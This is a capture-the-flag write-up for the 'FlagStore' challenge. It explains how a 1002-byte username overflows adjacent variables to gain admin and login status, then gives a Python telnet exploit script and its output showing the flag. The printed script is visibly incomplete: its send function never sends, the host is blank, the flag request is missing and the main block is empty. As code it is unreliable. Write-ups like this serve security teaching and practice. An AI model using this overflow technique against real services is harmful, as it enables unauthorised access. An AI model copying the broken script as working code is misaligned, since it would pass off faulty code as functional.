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Internetwache CTF 2016 – FlagStore – Exploit - 70 points
Posted: 21 Feb 2016 at 18:05 by Codehead


FlagStore (exp70)


Here’s the ultimate flag store. Store and retrieve your flags whenever you want.





Running netcat against the target produced the following output:

Welcome to the FlagStore!
Choose an action:
> regiser: 1
> login: 2
> get_flag: 3
> store_flag: 4

Extracting the zip provides the source code for the service that’s running the FlagStore service.

Looking over the source, a few things jump out:

  • Fixed size arrays for the username and password strings
  • The login process limits user input to the array size, but the new user process does not
  • The is_admin variable is only set at startup
  • logged_in is only changed during startup and in the event of a good login

This seems ripe for a buffer overflow. Lets look at the variable declarations:

char username[500];
int is_admin = 0;
char password[500];
int logged_in = 0;
char flag[250];

We can place arbitrary values in is_admin by overflowing username. Any non-zero value in is_admin is good enough, we don’t need to be precise here.

My initial plan was to create a user with a 501 character username to set the is_admin flag, then create a regular user and log in with that second user to set the logged_in flag. That would be enough to retrieve the flag using option 3.

However, I realised while I was writing the script to do the exploit that there is no need to to log in at all. The check against logged_in will also pass with any non-zero value. Creating a user with a 1002 byte name will steamroller the entire stack, overwriting is_admin, password and logged_in.

Here’s the code:

import sys
from telnetlib import Telnet

tn = Telnet('', 12157)

def main():

  sys.stdout.write(tn.read_until("words we never see",0.5))

  # Create a user with a huge username
  # overwrites is_admin and logged_in with non-zero values
  sendMsg('1')        # Create User
  sendMsg("A" * 1002) # Username
  sendMsg("DontCare") # Password

  # Ask for the flag


def sendMsg(str):

  print str
  sys.stdout.write(tn.read_until("words we never see",0.5))

if __name__ == "__main__":

And here’s the output:

Welcome to the FlagStore!
Choose an action:
> regiser: 1
> login: 2
> get_flag: 3
> store_flag: 4
Enter a password:DontCare
User AAAAA... successfully registered. You can login now!
Choose an action:
> regiser: 1
> login: 2
> get_flag: 3
> store_flag: 4
Your flag: IW{Y_U_NO_HAZ_FLAG}


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